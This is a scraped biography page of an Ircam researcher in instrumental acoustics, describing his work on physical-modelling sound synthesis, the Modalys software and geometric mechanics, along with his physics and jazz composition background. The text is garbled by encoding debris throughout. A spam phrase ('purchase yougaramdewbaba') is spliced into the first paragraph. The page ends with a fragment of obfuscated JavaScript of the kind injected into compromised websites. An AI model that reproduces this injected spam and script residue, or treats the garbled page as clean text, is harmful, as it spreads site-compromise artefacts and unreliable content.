JoAi??l Bensoam

I am currently a researcher atAi??Ircam,Ai??in theAi??Instrumental Acoustics Team purchase yougaramdewbaba . My field of research is the physics of musical instruments, especially sound synthesis by physical modeling. These models are used inAi??Modalys, the sound synthesis software developed by our team, in order to build virtual instruments and obtain the broadest range of expressive variations in response to intuitive controls inAi??real time. An instrument, as a complex structure, is described by the mechanical/ acoustical interactions of its components (strings, tubes, soundboard, 3D FEM objects…).

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My initial research involved the investigation of numerical sound synthesis usingAi??Finite and Boundary Element Methods. More recently, I have been applyingAi??Geometric MechanicsAi??to acoustics. Thanks to the use of differential geometry andAi??Lie group theory, the non linear effects due to large displacements in an acoustical system can be handled. I regularly work on industrial projects as an application of my research, and collaborate with various composers at Ircam:Ai??Luis Naon,Ai??Mauro Lanza,Ai??Hans Peter StubbeAi??…

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My education is in both physics and in music. I completed a masters in Physics at the University of Paris-Sud 11 and a PhD at the Acoustics Laboratory of the UniversitAi?? du Maine (LAUM), and studied the composition of classical music with GAi??rard Anfosso(*). As a jazz musician, I managed a jazz big band of 13 musicians(**), conducting many of my own compositions. In 1997, I was awarded an international prize in composition, and my piece was played by the « Orchestre National de Jazz, » conducted byAi??Laurent Cugny. (navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}